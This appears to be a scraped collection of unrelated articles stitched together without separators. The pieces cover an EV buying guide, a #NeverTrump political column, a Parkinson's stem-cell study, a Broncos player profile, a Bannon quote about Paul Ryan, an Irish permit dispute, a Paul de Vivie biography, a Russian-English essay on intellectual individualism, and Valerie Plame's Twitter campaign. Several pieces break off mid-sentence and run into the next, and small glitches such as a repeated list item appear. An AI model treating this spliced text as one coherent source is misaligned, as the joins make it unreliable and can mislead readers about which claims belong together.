MPGe can help you compare. When you start shopping for an electric car, you’ll notice a new term, “MPGe,” that stands for “miles per gallon equivalent.” The term represents an attempt to convert unfamiliar electrical measurements, such as kilowatt-hours, into a number that most people can understand. The math is straightforward: One gallon of gasoline contains about the same energy as 33.7 kWh of electricity, so MPGe estimates how many miles your car would travel on 33.7 kWh. For example, the Nissan Leaf is rated at 112 MPGe. The 30 kWh of electrical energy in its battery is equal to a little less than one gallon of gas, yet the Leaf can go 112 miles on that energy, or 112 MPGe.
Electricity in some parts of the country is cleaner than in others.
Electric alternatives: If you don’t think an EV would suit your lifestyle, the best alternative is a gas/electric hybrid, such as our top pick, the Toyota Prius, or an inexpensive, fuel-efficient gas car, such as our top pick among compact cars, the Honda Civic. Both cost less than an EV and are capable of going farther on a fast fill-up at any corner gas station in the US. But they’re not as quiet or efficient, and both still create emissions from their gas engines. (One EV driver I know refers to his Prius backup car as “the polluter.”)
Buyers considering an EV might also cross-shop plug-in hybrids, which have smaller batteries and incorporate a small gas engine that lets them keep going when the battery’s charge is depleted. Such vehicles also might work better for people on the East Coast, where colder temperatures can drastically reduce an EV’s range, and where electricity from the grid is often more expensive and derived from dirtier sources. But these cars can also be more cramped than EVs because they have two drivetrains, and they require all the same maintenance as gas cars (albeit less frequently).
Answer these questions before getting an EV
Before you buy an electric car, you should ask yourself several questions to ensure that one will fit your lifestyle.The goal of the #NeverTrump movement is to keep Donald Trump from amassing the 1,237 delegates he needs to clinch the nomination. (Photo: George Frey/Getty Images)
We all had a good laugh at Chris Christie’s expense after the New Hampshire primary, when he decided to get behind Donald Trump in exchange for dibs on an especially comfortable chaise longue at Mar-a-Lago. Next to the kinds of craven endorsements we’re seeing now, though, Christie might be in line for a Profile in Courage award.
Just yesterday, Jeb Bush followed his pal Lindsey Graham by coming out in support of Ted Cruz, although apparently he didn’t think he could get through an actual announcement without falling to his knees and rending his clothes in self-loathing, so he released a tepid statement instead. Bush described Cruz as a “consistent, principled conservative who has demonstrated the ability to appeal to voters,” by which he meant that Cruz is not Trump and that’s all there is to say.
This followed the bizarre contortions of Mitt Romney, whose state-by-state endorsement strategy has been so convoluted that I’d suggest getting a blank NCAA bracket if you really want to keep up.
All of which gets to why this #NeverTrump movement among governing Republicans might more aptly be called #NeverGoingtoHappen instead.
That’s not to say I don’t understand the strategy here, because I do. The singular goal is to keep Trump from amassing the 1,237 delegates he needs to clinch the nomination, thus hurtling the party into an open convention for the first time in 40 years.
Bush has apparently decided that this can happen only if it’s a two-man race, even though he almost certainly believes that John Kasich is the only candidate left who has any business being in the Oval Office. So he and other leading Republicans are going to close ranks around Cruz and hope they can get control of the process once the voters are finished making a holy mess of it.
(It’s interesting that Jeb has not been joined in this cause by his brother George W., who seems to have decided that he would sooner paint Trump’s presidential portrait himself than endorse the fellow Texan who once worked for him. That ought to tell you something.)
Romney’s strategy is more elaborate. Like many of you who probably also assumed you were watching an old “Bewitched” rerun on daytime TV until you realized that Darrin had just way too many lines, I watched Romney’s speech attacking Trump a few weeks back, and I have to say I was impressed. Where Trump was vulgar and insecure, Romney was cutting and confident, reminding us that titans of business don’t hawk bad steaks in late-night infomercials.
It seemed possible that Romney, in his advancing years, had at last found within himself some hidden reserve of political steel.
But no – turns out some distant race of extraterrestrials had actually snatched Romney’s body for a day so they could deliver a message about the grave danger of a Trump presidency, and when they were done they dropped the old Romney right back into our laps.
Romney endorsed Kasich in Ohio, noting that he was the “only guy with a real track record.” But then he turned around and announced he was voting for Cruz in Utah anyway – although he wasn’t actually endorsing Cruz, just so nobody gets confused. Right.
If you step back for a second, you can see why Romney might have some interest in getting to a convention with the delegates divided as many ways as possible. Mitt made his fortune as the consummate turnaround guy — the bloodless analyst who swoops into a company in crisis and fires all the incompetent executives.
What is the Republican Party now if not an organization in crisis? If you were Romney, why wouldn’t you look at the disaster looming and recognize a ripe takeover opportunity?
But here’s the problem for Bush and Romney and the whole #NeverTrump thing generally: You don’t win campaigns solely by running against somebody else. You have to give voters something — or someone — that they can be for.
This, of course, was Romney’s essential flaw as a nominee four years ago. He effectively ran as the #NeverObama candidate, avoiding anything that could have been misconstrued for a declarative worldview or agenda. He thought it was enough to not be Barack Obama and not be objectionable, and he was wrong.A team of scientists led by The New York Stem Cell Foundation (NYSCF) Research Institute successfully created a human stem cell disease model of Parkinson's disease in a dish. Studying a pair of identical (monozygotic) twins, one affected and one unaffected with Parkinson's disease, another unrelated Parkinson's patient, and four healthy control subjects, the scientists were able to observe key features of the disease in the laboratory, specifically differences in the patients' neurons' ability to produce dopamine, the molecule that is deficient in Parkinson's disease. In addition, the scientists also identified a potential strategy for developing novel therapies for Parkinson's disease.
Attributed to a combination of genetic and nongenetic factors, Parkinson's disease has no completely effective therapy or cure. Parkinson's disease is moderately heritable, but the mechanisms of this inheritance are not well understood. While genetic forms of the disease exist, sporadic forms are far more common.
"The unique scenario of identical twins, one with this disease and one without, allowed our scientists an unprecedented look into the mechanisms of Parkinson's disease," said Susan L. Solomon, NYSCF Chief Executive Officer. "Advanced stem cell research techniques allow us to push the boundaries of science and see what actually goes wrong at the cellular level, step by step during the disease process."
DNA mutations resulting in the production of a specific enzyme called glucocerebrosidase (GBA) have been linked to a five-fold greater risk of developing Parkinson's disease; however, only 30% of individuals with this mutation have been shown to develop Parkinson's disease by the age of 80. This discordance suggests that multiple factors contribute to the development of Parkinson's disease, including both genetic and non-genetic factors. To date, there has been no appropriate model to identify and test multiple triggers leading to the onset of the disease.
In this study, published in Cell Reports, a set of identical twins, both with a GBA mutation, provided a unique opportunity to evaluate and dissect the genetic and non-genetic contributions to the development of Parkinson's disease in one twin, and the lack of disease in the other. The scientists made induced pluripotent stem (iPS) cells from skin samples from both twins to generate a cellular model of Parkinson's in a dish, recapitulating key features of the disease, specifically the accumulation of α-synuclein and dopamine deficiency.
Upon analyzing the cell models, the scientists found that the dopamine-producing neurons from both twins had reduced GBA enzymatic activity, elevated α-synuclein protein levels, and a reduced capacity to synthesize and release dopamine. In comparison to his unaffected brother, the neurons generated from the affected twin produced less dopamine, had higher levels of an enzyme called monoamine oxidase B (MAO-B), and poor ability to connect with each other. Treating the neurons with molecules that lowered the activity of MAO-B together with overexpressed GBA normalized α -synuclein and dopamine levels in the cell models. This suggests that a combination therapy for the affected twin may be possible by simultaneously targeting these two enzymes.
"The subject of Parkinson's disease discordant twins gave us an incredible opportunity to utilize stem cell models of disease in a dish to unlock some of the biological mechanisms of disease," said Dr. Scott Noggle, NYSCF Vice President, Stem Cell Research and The NYSCF -- Charles Evans Senior Research Fellow for Alzheimer's Disease. "Working with these various different groups and scientists added to the depth and value of the research and we hope our findings will be applicable to other Parkinson's disease patients and other neurodegenerative disorders."
In this particular scenario, genetic and stem cell analysis identified an avenue for a potentially useful combination therapy for the twin affected by Parkinson's disease and may be applicable more broadly to other Parkinson's patients. While this case study is unique, this type of research and cellular analysis could yield further clues to all cases of genetic and sporadic Parkinson's disease and other related neurological disorders.Wide receiver Cody Latimer opens a hallway door at Dove Valley and walks straight into the question that hung over him last season: Why couldn’t he get on the field?
As the Broncos’ second-round draft choice, he represented a prized rookie with breathtaking athletic ability. He jumped so high for passes during training camp, it appeared he might dunk the football off the defender’s helmet. Latimer exited the visiting team’s locker room at the Dallas Cowboys’ AT&T Stadium after the final preseason game smothered in optimism.
Then he was gone. A ghost in uniform. Two catches, 23 yards, 37 offensive plays in 16 regular-season games.
“It took me too long to actually catch on,” Latimer said. “I was in the playbook, but I could have done even more. When I actually got it, it was too late. It was just way different (than college). I would know the play, then Peyton (Manning) would change it. Then I’d get to thinking too much and play slower.”
Latimer was filled with doubt. He felt helpless for the first time on an athletic field. He fought frustration, but Latimer found help from teammates. The veteran receivers refused to let Latimer surrender. The former Indiana star looked like an all-pro on the scout team. They preached patience and believed in him, support he intends to repay this season.
“They kept me going when I was at practice getting yelled at with people saying I didn’t know what I was doing. They said repeatedly, ‘Your time will come,’ ” Latimer said. “They said I had it in me, that I have to go out there and show the world. Part of my grind is making them look good.”
Latimer began his climb to a possible starting job this season immediately after the Indianapolis Colts eliminated the Broncos in the playoffs. He returned to Fit-Speed in Weston, Fla., a sports training facility co-founded by New York Jets wide receiver Brandon Marshall. Latimer spent three months working out. No longer burdened by a predraft foot injury, Latimer added muscle — he now weighs a sculpted 215 pounds — and speed.
It showed at Manning’s Duke passing camp. The drills served two purposes.
“I got a lot of repetitions because there weren’t many guys there,” Latimer said. “And it kind of gave us a little head start on routes and different play calls in the new offense. I am faster than I was, shiftier.”
Emmanuel Sanders expressed confidence in Latimer last week. He predicted a breakout season for a young receiver whose ability to block — Latimer’s physical nature enticed the Broncos to draft him — should fit well in coach Gary Kubiak’s scheme.
“He’s a special player. He has strong hands, the physical tools,” Sanders said. “I think this is going to be the year he jumps onto the map.”
Kubiak’s relationship with Latimer dates back 13 months. Latimer visited the Baltimore Ravens leading up to the 2014 draft, meeting with Kubiak, then the Ravens’ offensive coordinator. He told Latimer their paths would cross again. Their intersection in Denver — sooner than either expected — brings lofty expectations.
“He showed a lot of flashes from me watching (film of) him in practice,” Kubiak said. “A lot of times being a rookie can be over- whelming. I think it’s time for him to make a big jump, not just a little jump. Obviously his playing time is fixing to pick up, and it needs to pick up. We need him.”
Latimer recognizes the opportunity. When he’s not at Broncos headquarters, he studies his playbook for at least two hours per night. He wants to leave nothing to chance.
“I am pounding it into my head. I have to make sure I get it especially by the time of minicamp,” Latimer said. “You don’t want to be out there looking like a fool.”
It’s easy to see Latimer as a typical young player trying to find his way. His story goes much deeper, providing evidence why last season’s adversity should not define him. His thoughts turn often to his family, those who love him and those he has lost. When Latimer was only 13, his father, Colby, died of cancer.
“Once you lose a parent, it really doesn’t get much harder than that,” Latimer said. “The funny part is that I grew up playing basketball, telling my dad I was going to the NBA. And he would say, ‘No, you are going to the NFL.’ I know he was smiling down when I got drafted. I know he’s proud of me.”
Cancer also claimed Latimer’s grandmother, and just this offseason an aunt he long had been close to. A decade of tragedy has changed Latimer. He recently launched a website — TheCodyLatimer.com — where T-shirts can be purchased with all proceeds earmarked for the American Cancer Society.
“I have learned how to deal with it. They are in a better place,” Latimer said. “It’s also why I want to give back, because I know they would love that.”
Latimer smiles as he heads down the Dove Valley hallway. Through the locker room door, where frustration once roiled inside him, he finds a fresh start. Support surrounds him. With each hour in the Broncos’ playbook, he vows to fulfill his promise.
“I have motivation,” Latimer said. “I am taking everything seriously. I am not going to let the coaches, my teammates, my family down. It’s a strong feeling. I don’t want to disappoint them.”
Troy E. Renck: trenck@denverpost.com or twitter.com/troyrenckWhite House chief strategist Steve Bannon is not a fan of House Speaker Paul Ryan, once calling the Wisconsin Republican a “a limp-dick motherfucker who was born in a petri dish at the Heritage Foundation,” according to a new book by Bloomberg News reporter Joshua Green.
In his book, Devil’s Bargain: Steve Bannon, Donald Trump and the Storming of the Presidency, Green writes that the comment came ahead of the Republican National Convention.
At the time, anti-Trump forces were hoping to contest the convention and give the Republican nomination to someone like Ryan, whom the Never Trump crowd thought had a better shot of winning the White House.
The possibility “sent Bannon into a panic of his own,” Green wrote in the book, according to Talking Points Memo. Bannon also thought Ryan was part of what he termed the “globalist donor class” — a term seen as an anti-Semitic dog whistle.
While the anti-Trump forces made a lot of noise at the RNC in July, Trump went on to win the nomination — and of course the White House. Ryan has since embraced Trump, voicing tepid or oftentimes no disapproval when Trump finds himself on the receiving end of negative press.ANTI-AUSTERITY ALLIANCE TD Paul Murphy has been banned from holding a street and door-to-door collection for his party in south-west Dublin.
A letter to Murphy from a senior Garda officer says he won’t be allowed carry out the collection, and cites a section of the Street and House to House Collections Act 1962 as the reason.
The Section in question states:
A Chief Superintendent shall not grant a collection permit for any collection in respect of which he [sic] is of opinion that — (c) the proceeds of the collection or any portion thereof would be used in such a manner as to encourage, either directly or indirectly, the commission of an unlawful act.
The TD has described it as an “incredible decision”.
Source: Paul Murphy/Facebook
“For a whole number of years the Socialist Party have held national collections and been granted permits in Dublin South West without a problem,” Murphy said this evening.
“The Anti-Austerity Alliance and the Socialist Party do not accept money from big business. Instead we rely on donations and support from people in working class communities who we represent and fight alongside against austerity.
“We have been granted permits in other areas of the country, as presumably have other political parties. We have to presume that this is a political decision to not grant the Anti-Austerity Alliance a permit in Tallaght.”
The Act governing the granting of permits states that in cases where one is refused “the applicant for the permit may appeal to the District Court against the refusal”.
Chief Superintendent Orla McPartlin of the Dublin South Division was the officer responsible for the decision in this case.
A spokesperson for the Garda Press Office said this evening that they did not comment on the granting of individual permits.
Paul Murphy Source: RollingNews.ie
“The question has to be answered by the Gardai – what unlawful acts are being encouraged?” Murphy said this evening.
“One can only presume that it is a reference to the prominent call by the Anti-Austerity Alliance for mass non-payment of the water charges or else to the participation of AAA activists in anti-water charges protests.”
He said he had spoken by phone with McPartlin, had written a letter asking what unlawful acts she was referring to, and that the party was taking legal advice about a court appeal.
Murphy was one of more than 20 activists arrested and questioned by gardaí in relation to the alleged false imprisonment of Tánaiste Joan Burton during a protest in the south-west Dublin suburb of Jobstown last November.
On Friday, the Irish Daily Mail broke the story that gardaí had been spying on anti-water charge protesters, including Murphy, as part of an operation code-named ‘Mizen’.
Along with his Dáil colleagues Joe Higgins and Ruth Coppinger, the TD has written to Justice Minister Frances Fitzgerald calling for a public statement on the claims.Paul de Vivie, who wrote as Vélocio[4] (April 29, 1853[1][2][3]– February 27, 1930), was publisher of Le Cycliste, a developer and early champion of derailleur gears, and father of French bicycle touring and randonneuring.
Background [ edit ]
De Vivie was born at Pernes-les-Fontaines, France. His youth was unremarkable except for a love for the classics.[2] His father was a prosperous Gascon with links to the nobility. He came from Saint-Germain-de-la-Sauvetat and worked as the head of post. His mother, Marthe Roman, came from Arles. Paul de Vivie lived at Tarascon, Meyzieu, and studied at Lachassagne, near Lyon until 1870.
De Vivie went into the silk industry as an apprentice and then opened his own business in St-Étienne before he was 30.[2] He married in St-Étienne in 1876. He lived at 6 rue Brossard.
He bought his first bicycle, a penny-farthing when he was 28, in 1881. In that year he became the founding secretary of Les Cyclistes Stéphanois.[5][6] The club held its first meeting at 1 rue des Arts, St-Étienne, on 23 October 1881. The address was the home of a member, A. Jourjon, and became the club's address when it was registered as a new organisation at the préfecture on 11 March 1882. Evidence that de Vivie was a reasonably prosperous man is shown in a club rule that allowed membership only to amateurs, a definition which excluded ordinary working men.[6][7] Further evidence is the writer Jean-Pierre Baud's calculation that a bicycle cost 200 francs or 56 times the daily wage of an everyday worker.[6]
Club membership cost 17 francs the first year and 12 francs in subsequent year. Membership was open not only to those who pedalled but others who preferred machines "furnished by steam, electricity and any other propulsion."[6]
A friend challenged de Vivie to ride his new bicycle 100 km in six hours and he set out to the mountain resort of Chaise-Dieu. The peace, adventure and countryside changed his life - and persuaded him he needed a better bike. A year later he bought a Bayliss tricycle, followed by a tandem tricycle and others. His work in the silk industry required trips to England and it was there, in Coventry, then the centre of the world cycle industry, that he was inspired by British bicycles and joined the Cyclists' Touring Club. In 1887, he sold his business, opened the Agence Générale Vélocipédique in St-Étienne to import bikes from Coventry, and began a magazine, Le Cycliste Forézien, renamed Le Cycliste the following year.
Campaign for multiple gears [ edit ]
The English Whippet, of which de Vivie used a gear.
De Vivie imported machines from England. In 1889 he made a bike of his own, called La Gauloise. It had a diamond frame, chain and a single gear. De Vivie was riding the col de la République (10 km south east of St Etienne) in 1889 when one of his readers overtook him - smoking a pipe.[8] De Vivie felt challenged but also trapped: if he lowered his gear, he would go slower on the flat. But on the gearing that he had, he could not climb hills fast enough either. British thinking favoured epicyclic and planetary gears, concealed in the rear hub. De Vivie created the derailleur. His first had two chain wheels; the chain had to be lifted by hand from one to the other. He then placed two chain wheels on the left side. The combination gave him four gears.[9] In 1901 Velocio combined his invention with the four-speed proteon gear of the English Whippet, which used a split chain wheel. Pedalling backwards made the two halves of the chain wheel open. Pawls then secured them in one of four positions. De Vivie's development appeared in his Cheminot in 1906, the first derailleur. He overlooked taking out a patent and made barely any money from an invention which changed cycling.
It has been said that de Vivie invented something which already existed, in Britain, and simply made the derailleur better known.
The col du Grand Bois or de la République
Traditional cyclists did not appreciate his gears. The organiser of the Tour de France, Henri Desgrange, dismissed them in L'Auto as fit only for invalids and women. De Vivie campaigned for his invention and rode every morning up the col de la République for the joy of passing riders without them.
The Touring Club de France organised a challenge in 1902 in which a female rider, Marthe Hesse, participated riding a Gauloise with a three-speed derailleur. Hesse was one among only four riders crossing the Tourmalet without setting foot to the ground.[10][11] Desgrange, though, wrote:
"I applaud this test, but I still feel that variable gears are only for people over 45. Isn't it better to triumph by the strength of your muscles than by the artifice of a derailleur? We are getting soft. Come on fellows. Let's say that the test was a fine demonstration - for our grandparents! As for me, give me a fixed gear!"[12]
De Vivie's invention is in the museum of art and industry at St-Étienne. His friend, Albert Raimond, developed the idea and started the Cyclo gear company. Raimond, like Vivie, was fond of hilly rides.
Advocacy for small wheels [ edit ]
De Vivie was also an early advocate of tires of up to 57mm (2.25 in) cross-section on rims as small as 500mm (20 in), preceding modern advocates of small wheel bicycles such as Alex Moulton. In 1911 he wrote:
"My own experience has gone no further than to 50cm wheels furnished with 50mm tyres, but I can guarantee that in an experiment extending as far as 15,000km covered, they will not have the smallest disadvantage from the point of view of their running. It simply seems to me they are more prone to skidding, but this is perhaps because their tyres have no tread and that the bicycle is very short. That universal agreement has fixed on 70cm as the proper size for wheels does not in any way prove that this diameter is best; it simply proves that cyclists follow each other like sheep.
Make no mistake, uniformity is leading us directly towards boredom and towards routine, whilst diversity, even though it distracts us, holds our attention, our interest and the spirit of enquiry always on the watch. To change is not always to perfect, and I know that better than any others newly come to cyclo-technology. But to stand still, to sink into a rut, that is the worst of things for industries and for men."[13]
Velocio died at St-Étienne, France. His obituary in the Gazette of the Cyclists' Touring Club pictured him with an open-framed small-wheel bicycle.
Writing [ edit ]
Paul de Vivie devised a code for the wise cyclist: 1. Keep your stops short and few.
2. Eat before you're hungry, drink before you're thirsty.
3. Never get too tired to eat or sleep.
4. Add a layer before you're cold, take one off before you're hot.
5. Lay off wine, meat and tobacco on tour.
6. Ride within yourself, especially in the first hour.
7. Never show off. 7. Never show off. Velocio[3][4]
Vélocio wrote of his tours in a language that inspired a nation - France - in which holidays with pay were unknown:
A shaft of gold pierced the sky and rested on a snowy peak, which, moments before, had been caressed by soft moonlight. For a moment showers of sparks bounced from the pinnacle and tumbled down the mountain in a heavenly cataract. The king of the universe, the magnificent dispenser of light and warmth and life, gave notice of his imminent arrival. But only for an instant. Like a spent meteor, the spectacle dissolved in the sea of darkness that engulfed me in the depths of the gorge. The glistening reflections, the exploding fireballs were gone. Once again, the snow assumed its cold and ghostly face.
Or again:
After a long day on my bicycle, I feel refreshed, cleansed, purified. I feel that I have established contact with my environment and that I am at peace. On days like that I am permeated with a profound gratitude for my bicycle. Even if I did not enjoy riding, I would still do it for my peace of mind. What a wonderful tonic to be exposed to bright sunshine, drenching rain, choking dust, dripping fog, rigid air, punishing winds! I will never forget the day I climbed the Puy Mary. There were two of us on a fine day in May. We started in the sunshine and stripped to the waist. Halfway, clouds enveloped us and the temperature tumbled. Gradually it got colder and wetter, but we did not notice it. In fact, it heightened our pleasure. We did not bother to put on our jackets or our capes, and we arrived at the little hotel at the top with rivulets of rain and sweat running down our sides. I tingled from top to bottom.[2]
Death and memorial [ edit ]
De Vivie was a vegetarian,[2] a speaker of Esperanto[4] and a strict man who started every day of his later life by reading ancient Greek.[2] On February 27, 1930, the last words he read were from Seneca to Lucius:
Death follows me and life escapes me. When I go to sleep, I think that I may never awake. When I wake up, I think that I may never get to sleep. When I go out, I think that I may never come back.
Then he collected his bike and began pushing it across the road. He stepped back to avoid a car and was hit and killed by a tram.[2] His memorial is at the top of the col de la République.[1] Its inscription reads: "Paul de Vivie, alias Vélocio (Pernes 1853 - St-Étienne 1930). Apostle of cycle-touring and promoter of gears [changements de vitesse]. Monument erected by the town of Pernes-les-Fontaines on the 150th anniversary of his birth. Inaugurated 20 April 2003."[14]
He coined the French term cyclo-tourisme, which continues in use.[3] He is buried in the cemetery at Loyasse, near Lyon. His plaque reads: "To their venerable master, the cyclo-tourists of St-Étienne." A road is named after him in St- |
bourgeois subjectivity.
Our impoverished “decadence” of the 1890’s was not the first declaration of aristocratic, or even intellectual-bourgeois aestheticism. But from the outset, how gutless (even cowardly) it was! It scarcely dared stammer on about the absolute end-in-itself of the aesthetic (though principally erotic) “tremor” [«трепета»], or of its protest against “tendentiousness” — i.e., in practice, against the grand morality of political obligations, which gravitated toward literature and strove to give the appearance of struggling against moralizing populism. This helped it come under the aegis of the journalistic Marxism of the time, which was of little interest to the Decadents taken on its own terms. They were both still psychologically connected, if you will, by the fact that both proclaimed a “new word” and both were in the minority. The Petersburg journal Life, a combination of third-rate Marxism and kitschy aestheticism printed on good paper for an inexpensive price, was the fruit of this strange coupling. Increasing colossally overnight, the vogue appeal of Gorkii developed in the same period. According to the current definition, the tramp symbolizes the revolt against petit-bourgeois philistinism. Untrue! On the contrary! For broad groups of intellectuals, the tramp turned out to be precisely the symbol of the sudden rise of petit-bourgeois [мещанского, also connotes “philistine”] individualism. Off with one’s burdens! It’s time to straighten one’s back! Society is nothing more than an imperceptible abstraction. I — and this is me! — here came to the aid of Nietzsche. In the West, he appeared as the final, most extreme word in philosophical individualism because he was also the negation and overcoming of petit-bourgeois individualism. But for us Nietzsche was forced to perform a quite different task: we smashed his lyrical philosophy into fragments of paradoxes and threw them into circulation as the hard cash of a petty, pretentious egoism…
Наш жалконький «декаданс» 90-х годов — и был этим первым провозглашением не дворянского, а интеллигентско-мещанского эстетизма. Но как он был по первоначалу робок, даже труслив! Он едва смел заикаться об абсолютной самоцельности эстетического (главным образом эротического) «трепета» и своему протесту против «тенденциозности», т.-е. на деле против больших нравственно-политических обязательств, тяготевших на литературе, старался придать вид борьбы против морализующего народничества. Это помогло ему стать под защиту тогдашнего журнального марксизма, который сам по себе декадентов мало интересовал. Их, пожалуй, еще психологически связывало то, что оба провозглашали «новое слово» и оба были в меньшинстве. Петербургский журнал Жизнь, комбинация из дешевого марксизма и дешевого эстетизма, на хорошей бумаге и за недорогую цену, явился плодом этой странной связи. Колоссальная, в 24 часа выросшая, популярность Горького — явление той же эпохи. По ходячему определению, босяк был символом бунта против мещанства. Неправда! Как раз наоборот! Для широких групп интеллигенции босяк оказался именно символом воспрянувшего мещанского индивидуализма. Долой ношу! Пора выпрямить хребет! Общество — лишь неуловимая абстракция. Я — это я! — На помощь пришел Ницше. На Западе он явился, как последнее, самое крайнее слово философского индивидуализма и потому — как отрицание и преодоление индивидуализма мещанского. У нас же Ницше заставили выполнять совсем другую работу: его лирическую философию разбили на осколки парадоксов и пустили их в оборот, как звонкую монету маленького претенциозного эгоизма…
The decadence of the first generation, the tramp lifestyle [босячество], and Nietzscheanism were the muddled, romantic, chaotic outburst of a new intellectual health. These were the Wanderjahre [the years of wandering] of individualism. The next period — the time of idealist philosophy’s “flowering,” that is, its pale vulgarization of Kant (think the Problems of Idealism collection) — attempts to conquer the individuality of the tramp lifestyle by philosophical flattery, declaring personality an end in itself while at the same time placing it under the protection of “absolute” norms of morality [норм морали].
Декадентство первого призыва, босячество, ницшеанство были сумбурным, романтическим, хаотическим взрывом нового интеллигентского самочувствия. Это — Wanderjahre (годы скитаний) индивидуализма. Следующий период — время «расцвета» идеалистической философии, т.-е. бледной популяризации Канта (вспомните Проблемы идеализма — делает попытку полонить босячествующую индивидуальность философской лестью, объявив личность самоцелью и в то же время поставив ее под конвой «абсолютных» норм морали.
This petty philosophical knavery has as the goal of reigning in the individuality that pervades petit-bourgeois culture, to keep it from stumbling into anarchism: “I am an absolute end-in-itself, but for me (or in me) there must reside the categorical imperative of duty; therefore, I cannot but perform the duties of man and citizen.” Nietzsche was the genuine negation and overcoming of Kant and the Kantians, those “crafty intercessors of their own prejudices.” Whereas our Kantian appeared for the sake of overcoming [also mastering, одоления] Nietzscheanism, he in turn was mastered [одолев] — legitimized, and was legitimated — as he began to accommodate himself to the “Freedom” of the coming parliamentary life. At bottom, the individualism of the first period, from Gorky to…Kant possessed psychologically an altogether superficial character. Everything revolves around the realm of aesthetic anticipation and philosophical projection. Individualism has not yet mastered the will, and the radical soul therefore for the most part [lit. “in ¾” or на три четверти] retains its old content. A lot of work remains in store to translate individualism from a philosophico-aesthetic — i.e., “celebratory” — consciousness into the sphere of everyday experiences and to subordinate the all mental/spiritual [душевный, like the German word geistig] custom unto it. A major share of this work was accomplished by the events of the last three years [i.e., since 1905]. They have ruptured many of the surviving bonds of tradition, laid bare much of what had remained covered over, made more profound that which had been intended, and superannuated all classes of society for many decades. When the floodwaters subsided, it was necessary to summarize the huge mass of impressions, the mental and spiritual gains and losses. For the intelligentsia is in the first place meant to cast off the Old Adam — the aged asceticism of radical nihilism and primitive anti-bourgeois instincts. Not philosophically eviscerate everything inside, as happened only psychologically before the revolution.
Это маленькое философское плутовство имеет своей задачей впрячь сбивающуюся на анархизм индивидуальность в оглобли мещанской культуры: «я — абсолютная самоцель, но надо мною (или во мне) живет категорический императив долга; поэтому я должен выполнять обязанности человека и гражданина». Подлинный Ницше был отрицанием и преодолением Канта и кантианцев, этих «пронырливых ходатаев своих предрассудков». Наш же кантианец явился для одоления ницшеанства, одолев — усыновил, усыновив — начал приспособлять его в «Освобождении» к грядущему парламентарному житию. В сущности этот индивидуализм первого периода, от Горького до… Канта, имеет психологически совершенно поверхностный характер. Все вращается в области эстетических предвосхищений и философских проекций. Индивидуализм еще не овладел волей, и потому радикальная душа на три четверти сохраняет свое старое содержание. Предстояла еще большая работа: перевести индивидуализм из философско-эстетического, т.-е. «праздничного» сознания в сферу повседневных переживаний и подчинить ему весь душевный обиход. Главную долю этой работы выполнили события последних трех лет. Они порвали многие лишь по традиции сохранившиеся связи, оголили многое, что оставалось прикрытым, углубили многое, что было лишь намечено, и состарили все классы общества на много десятилетий. Когда воды потопа схлынули, пришлось подвести итог огромной массе впечатлений, душевных приобретений и душевных утрат. Для интеллигенции это прежде всего значило сбросить с себя ветхого Адама старых аскетических привычек, радикального нигилизма и первобытных анти-мещанских инстинктов. Не философски сбросить, как до революции, а психологически, всем нутром.
If ideological contradictions are “normal” in the mechanics of development, what is still quite extraordinary is the pace at which they come and go. Standalone moments within the process of our intellectual metamorphosis flit by exactly as on the screen of the cinema. This is to be explained by the general backwardness of our historical development. We have arrived too late, and have therefore been condemned to traverse the history of an abridged European tutorial. A narrow line traces out a new fissure in our social life, calling for a new ideology, such as the one Europe now casts down upon us, corresponding to the riches of its philosophy, its literature, its art: Nietzsche… Kant… the Marquis de Sade… Schopenhauer… Oscar Wilde… Renan… That which exists in the West was born in spasms and convulsions, or else was composed by imperceptible degrees, as the product of an complex cultural epoch — the only cost that falls to us is that of translation and publication. The abundance of readymade philosophical and artistic forms accelerates the ideological evolution of our intelligentsia, turns minor collisions into sharp but passing crises, and in this manner lends the whole process a cursory and superficial appearance. Two related tendencies likewise seek the shortest path into the domain [царство] of petit-bourgeois culture, which all of a sudden stand at cross purposes, like two terrible systems armed to the teeth with European arsenals. For the moment the whole field still seems overspread with corpses. But in no more than the time it takes to wipe your glasses, both warring parties — the Decadents and the Parnassians, the mystics and the positivists, the ascetics and the Nietzscheans — have paraded down for a conciliatory feast at the restaurant “Vienna.”
Если идейные противоречия составляют «нормальную» механику развития, то совершенно исключительным является, однако, тот темп, в котором они у нас сменяют друг друга. Отдельные моменты в процессе интеллигентских метаморфоз мелькают точно на экране синематографа. Это объясняется общей запоздалостью нашего исторического развития. Мы пришли слишком поздно и потому осуждены проходить историю по сокращенному европейскому учебнику. Чуть линия нашей общественной жизни намечает новый излом, требующий новой идеологии, как Европа сейчас же обрушивает на нас соответственные богатства своей философии, своей литературы, своего искусства. Ницше…Кант…Маркиз де-Сад… Шопенгауэр… Оскар Уайльд… Ренан… Что там, на Западе, рождалось в судорогах и корчах или незаметно слагалось, как продукт сложной культурной эпохи, то ложится на нас лишь издержками по переводу и печатанию. Обилие готовых философских и художественных форм ускоряет идейную эволюцию нашей интеллигенции, превращает второстепенные коллизии в острые, но мимолетные кризисы и таким образом придает всему процессу беглый и поверхностный характер. Два родственных оттенка, одинаково ищущие кратчайшего пути в царство мещанской культуры, внезапно выступают друг против друга, как две грозные системы, до зубов вооруженные средствами европейских арсеналов. Кажется, еще миг — и все поле покроется трупами. Но не успеете вы протереть очки, как обе враждующие стороны, декаденты и парнасцы, мистики и позитивисты, аскеты и ницшеанцы шествуют на примирительную трапезу в ресторан «Вену».Anybody who knows that Donald Trump is president of the United States probably knows that his Twitter feed is his mouthpiece to the world. He criticizes global leaders, threatens war, berates the media, and, well, you name it. It's no understatement to suggest that the nation's 45th chief executive has assumed the Twitter Presidency.
Now there is a movement afoot to silence the @realdDonaldTrump handle, which has 36.6 million followers and has tweeted more than 35,000 times. Despite allegations that Trump is breaching Twitter's terms of service for using the service to threaten violence, Twitter isn't about to kick off its most high-profile tweeter.
So a former CIA undercover operative is trying to do what Twitter won't: end the Twitter Presidency. Although her plan will most likely never come to fruition, Valerie Plame Wilson has started a GoFundMe page to raise $1 billion, which would make her Twitter's largest shareholder and give her great monetary influence over Twitter's policies.
"Donald Trump has done a lot of horrible things on Twitter. From emboldening white supremacists to promoting violence against journalists, his tweets damage the country and put people in harm's way," Plame Wilson wrote on her GoFundMe page. "But threatening actual nuclear war with North Korea takes it to a dangerous new level."
The White House countered, saying that Trump has a constitutional right to use Twitter.
"Her ridiculous attempt to shut down his First Amendment is the only clear violation and expression of hate and intolerance in this equation," Press Secretary Sarah Huckabee Sanders said.
